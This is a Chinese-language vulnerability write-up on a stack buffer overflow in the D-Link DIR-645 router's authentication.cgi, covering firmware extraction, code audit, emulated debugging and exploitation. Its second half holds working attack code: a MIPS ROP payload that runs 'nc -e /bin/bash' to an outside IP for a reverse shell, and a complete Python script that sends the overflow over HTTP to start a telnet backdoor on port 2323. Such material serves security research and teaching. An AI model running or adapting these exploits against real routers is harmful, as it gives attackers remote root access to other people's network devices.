D-link DIR-645路由器溢出漏洞分析
固件下载
DIR645固件下载地址:https://pan.baidu.com/s/1B7fDB4NETjdGWtlkiPULpw
提取码:5iaz
固件提取
./extract-firmware.sh DIR645A1_FW103RUB08.bin

官方漏洞揭露
该漏洞是CGI脚本在处理authentication.cgi请求,将请求头的CONTENT_LENGTH值作为read函数读取文件的内容大小,由于该值可控,因此造成read函数的缓冲区溢出。
按照dlin-815漏洞的规律,先查看一下这个cgi脚本所指向的位置

指向cgibin的文件,那我们开始审计cgibin,并确定漏洞位置
代码审计
漏洞位置确定
shift+f12进行搜索并查看哪个函数引用了他


看到一个authentication的函数,审计一下

漏洞触发条件

条件1:
REQUEST_METHOD不为0
sub_40A424这个函数应该很熟悉吧,在复现dlink815的时候已经分析过了,其实就是把uid=后的数值获取我
条件2:
要使这个函数返回1,输入的字符串 a1 应该不等于 "/htdocs/web/authentication.cgi" 且不等于 "/htdocs/web/authentication_logout.cgi"。要使这个函数返回3,输入的字符串 a1 应该等于 "/htdocs/web/webfa_authentication.cgi"。
struct sysinfo结构体分析
struct sysinfo 是一个用于获取系统信息的结构体,通常在Linux和Unix系统中使用。它的目的是提供关于系统整体性能和资源使用情况的信息,以便应用程序和系统管理员可以更好地了解系统的状态和性能。
struct sysinfo 结构体包含了以下信息:
uptime:系统的运行时间,以秒为单位。这表示自系统启动以来经过的时间。
loads[3]:包含了1分钟、5分钟和15分钟的平均负载值。这些值表示系统中活动进程的数量。负载值通常用于衡量系统的繁忙程度。
totalram:系统总的可用RAM大小,以字节为单位。
freeram:系统中可用的空闲RAM大小,以字节为单位。
sharedram:被多个进程共享的RAM大小,以字节为单位。
bufferram:用于缓冲区的RAM大小,以字节为单位。
totalswap:系统总的交换空间大小,以字节为单位。交换空间是用于辅助RAM的虚拟内存。
freeswap:系统中可用的空闲交换空间大小,以字节为单位。
procs:系统当前运行的进程数量。
totalhigh:高内存区的总大小,以字节为单位。这是一些系统中特殊的内存区域。
freehigh:系统中可用的空闲高内存区的大小,以字节为单位。
mem_unit:内存单位的大小,通常为1字节。
unlink函数是删除文件

最后会把这些临时文件给删除
条件3:
得是get请求


阅读代码其实发现get请求的话干了几件事情
1、生成一个随机字符串。
2、获取系统的UUID。
3、获取系统的运行时间(uptime)。
4、多次调用 sub_40A960 函数进行文件读取
满足以上条件,就可以运行到溢出的地方了
authenticationcgi_main内的条件已经审计结束,接下来看看如何触发authenticationcgi_main函数
main

但是在前面审计我们发现,条件2,要让程序正常进入溢出的功能点
"/htdocs/web/authentication.cgi“,应该是这个,所以审计结束
环境搭建
延续815的搭建方法,在这里不过多赘述,设置网卡和把文件上传之后,开启http服务

把这里改成对应的cgi即可
cp sbin/httpd /
cp -rf htdocs/ /
rm -rf /etc/services
cp -rf etc/ /
cp lib/ld-uClibc-0.9.30.1.so /lib/
cp lib/libcrypt-0.9.30.1.so /lib/
cp lib/libc.so.0 /lib/
cp lib/libgcc_s.so.1 /lib/
cp lib/ld-uClibc.so.0 /lib/
cp lib/libcrypt.so.0 /lib/
cp lib/libgcc_s.so /lib/
cp lib/libuClibc-0.9.30.1.so /lib/
cd /
ln -s /htdocs/cgibin /htdocs/web/authentication.cgi
ln -s /htdocs/cgibin /usr/sbin/phpcgi
http://192.168.100.2:4321/authentication.cgi
poc编写
payload是a*0x5000
#deb cdrom:[Ubuntu 20.04.4 LTS _Focal Fossa_ - Release amd64 (20220223)]/ focal main restricted
export CONTENT_TYPE="application/x-www-form-urlencoded"
export REQUEST_METHOD="POST"
export REQUEST_URI="2333"
./gdbserver.mipsle 192.168.100.2:8888 /htdocs/web/authentication.cgi|echo "winmt=pwner"

去ida看一下

也就是end分支里面的内容

这个地方是有return的,溢出完了之后可以到这里
v9等于5的情况下




发现获取CONTENT_LENGTH后返回值等于0
export CONTENT_LENGTH=100000
研究了一下发现,其实是以字符串的转化为数字的,我直接让他等于10000不行,所以应该这样子写
export CONTENT_LENGTH="100000"
加入之后调试

之后的atoi函数

现在达到溢出条件了
但是我在后续down掉了断点发现

在这个函数里面down掉了,没读到uid,但是我设置cookie的值,有uid,继续执行,在下面down看,第二个箭头的位置
export HTTP_COOKIE="uid=1234"

原因是我没有设置cookie的值导致程序出现错误
设置了uid发现,在第二个箭头的位置又down掉了,审计了一下发现遇到&或者\x00截断,原本我的uid后面没有截断,所以一直一直在读循环,一直在处理后面的字符串没有停下来,所以得设置一下uid,在后面加个&就OK了
export HTTP_COOKIE="uid=abcdefg&password=1234"
漏洞利用
寻找基地址
echo 0 > /proc/sys/kernel/randomize_va_space
/htdocs/web/authentication.cgi & cat /proc/2386/maps

exp
# -*- coding: utf-8 -*-
#!/usr/bin/python2
from pwn import *
context.endian = "little"
context.arch = "mips"
base_addr = 0x77f34000
system_addr = base_addr + 0x53200
rop1 = base_addr + 0x159CC # addiu $s5,$sp,0x170+var_160 | jalr $s0 |
rop2 = base_addr + 0x2D194 # addiu $s0,1 | jalr $s5 |
padding = 'uid=1234&password=' + 'a' * (1050 - 4*9)
padding += p32(system_addr-1) # s0
padding += 'a' * 4 # s1
padding += 'a' * 4 # s2
padding += 'a' * 4 # s3
padding += 'a' * 4 # s4
padding += p32(rop1) # s5
padding += 'a' * 4 # s6
padding += 'a' * 4 # s7
padding += 'a' * 4 # fd
padding += p32(rop2) # ra
padding += 'a' * 0x10
padding += 'nc -e /bin/bash 192.168.204.228 9999'
padding += 'a' * 0x10
p='a'*0x3000
f = open("payload",'wb')
f.write(padding)
f.close()
利用poc.sh
export CONTENT_TYPE="application/x-www-form-urlencoded"
export REQUEST_METHOD="POST"
export HTTP_COOKIE="uid=abcdefg&password=1234"
export REQUEST_URI="/authentication.cgi"
export CONTENT_LENGTH="1090"
echo "`cat payload`"|./gdbserver.mipsel 192.168.100.2:8888 /htdocs/web/authentication.cgi

0x77f61194 <gets+132> addiu $s0, $s0, 1
0x77f61198 <gets+136> move $t9, $s5
0x77f6119c <gets+140> jalr $t9
老套路了,为了防止/x00截断,system-1然后利用onegadget让system+1


# -*- coding: utf-8 -*-
#!/usr/bin/env python
#####################################################################################
# Exploit for the DIR-605L CAPTCHA login stack based buffer overflow
#vulnerability. # Spawns a reverse root shell to 192.168.1.100 on port
#8080. # Tested against firmware versions 1.10, 1.12 and 1.13. # #
### 06-October-2012
#####################################################################################
import sys
import time
import string
import socket
from random import Random
import urllib, urllib2, httplib
class MIPSPayload:
BADBYTES = [0x00]
LITTLE = "little"
BIG = "big"
FILLER = "A"
BYTES = 4
def __init__(self, libase=0, endianess=LITTLE, badbytes=BADBYTES):
self.libase = libase
self.shellcode = ""
self.endianess = endianess
self.badbytes = badbytes
def rand_text(self, size):
str = ''
chars = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789'
length = len(chars) - 1
random = Random()
for i in range(size):
str += chars[random.randint(0,length)]
return str
def Add(self, data):
self.shellcode += data
def Address(self, offset, base=None):
if base is None:
base = self.libase
return self.ToString(base + offset)
def AddAddress(self, offset, base=None):
self.Add(self.Address(offset, base))
def AddBuffer(self, size, byte=FILLER):
self.Add(byte * size)
def AddNops(self, size):
if self.endianess == self.LITTLE:
self.Add(self.rand_text(size))
else:
self.Add(self.rand_text(size))
def ToString(self, value, size=BYTES):
data = ""
for i in range(0, size):
data += chr((value >> (8*i)) & 0xFF)
if self.endianess != self.LITTLE:
data = data[::-1]
return data
def Build(self):
count = 0
for c in self.shellcode:
for byte in self.badbytes:
if c == chr(byte):
raise Exception("Bad byte found in shellcode at offset %d: 0x%.2X" % (count, byte))
count += 1
return self.shellcode
def Print(self, bpl=BYTES):
i = 0
for c in self.shellcode:
if i == 4:
print ""
i = 0
sys.stdout.write("\\x%.2X" % ord(c))
sys.stdout.flush()
if bpl > 0:
i += 1
print "\n"
class HTTP:
HTTP = 'http'
def __init__(self, host, proto=HTTP, port=4321, verbose=False):
self.host = host
self.proto = proto
self.port = port
self.verbose = verbose
self.encode_params = True
def Encode(self, data):
if type(data) == dict:
pdata = []
for k in data.keys():
pdata.append(k + '=' + data[k])
data = pdata[1] + '&' + pdata[0]
else:
data = urllib.quote_plus(data)
return data
def Send(self, uri, headers={}, data=None, response=False, encode_params=True):
html = ""
if uri.startswith('/'):
c = ''
else:
c = '/'
url = '%s://%s:%d' % (self.proto, self.host, self.port)
uri = '/%s' % uri
if data is not None:
data = self.Encode(data)
if self.verbose:
print url
httpcli = httplib.HTTPConnection(self.host, self.port, timeout=30)
httpcli.request('POST', uri, data, headers=headers)
response = httpcli.getresponse()
print response.status
print response.read()
if __name__ == '__main__':
libc = 0x2aaf8000 # so动态库的加载基址
target = {
"1.03" : [
0x531ff, # 伪system函数地址(只不过-1了,曲线救国,避免地址出现00截断字符
0x158c8, # rop chain 1(将伪地址+1,得到真正的system地址,曲线救国的跳板
0x159cc, # rop chain 2(执行system函数,传参cmd以执行命令
],
}
v = '1.03'
cmd = 'telnetd -p 2323' # 待执行的cmd命令:在2323端口开启telnet服务
ip = '192.168.100.2' # 服务器IP地址//here
start='uid=1234&password='
# 构造payload
payload = MIPSPayload(endianess="little", badbytes=[0x0d, 0x0a])
payload.Add(start)
payload.AddNops(1050 - 4*9) # filler # 7. 填充1011个字节,前面已有'AbC'
payload.AddAddress(target[v][0], base=libc) # $s0
payload.AddNops(4) # $s1
payload.AddNops(4) # $s2
payload.AddNops(4) # $s3
payload.AddNops(4) # $s4
payload.AddAddress(target[v][2], base=libc) # $s5
payload.AddNops(4) # unused($s6)
payload.AddNops(4) # unused($s7)
payload.AddNops(4) # unused($fp)
payload.AddAddress(target[v][1], base=libc) # $ra
payload.AddNops(4) # fill
payload.AddNops(4) # fill
payload.AddNops(4) # fill
payload.AddNops(4) # fill
payload.Add(cmd) # shellcode
# 构造http数据包
pdata = {
'uid' : '3Ad4',
'password' : 'AbC' + payload.Build(),
}
header = {
'Cookie' : 'uid='+'3Ad4',
'Accept-Encoding': 'gzip, deflate',
'Content-Length': '1098', # 设置 Content-Length 为 1090
'Content-Type' : 'application/x-www-form-urlencoded',
'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)'
}
# 发起http请求
try:
HTTP(ip, port=4321).Send('authentication.cgi', data=pdata, headers=header, encode_params=False, response=True)
print '[+] execute ok'
except httplib.BadStatusLine:
print "Payload deliverd."
except Exception, e:
print "Payload delivery failed: %s" % str(e)
浙公网安备 33010602011771号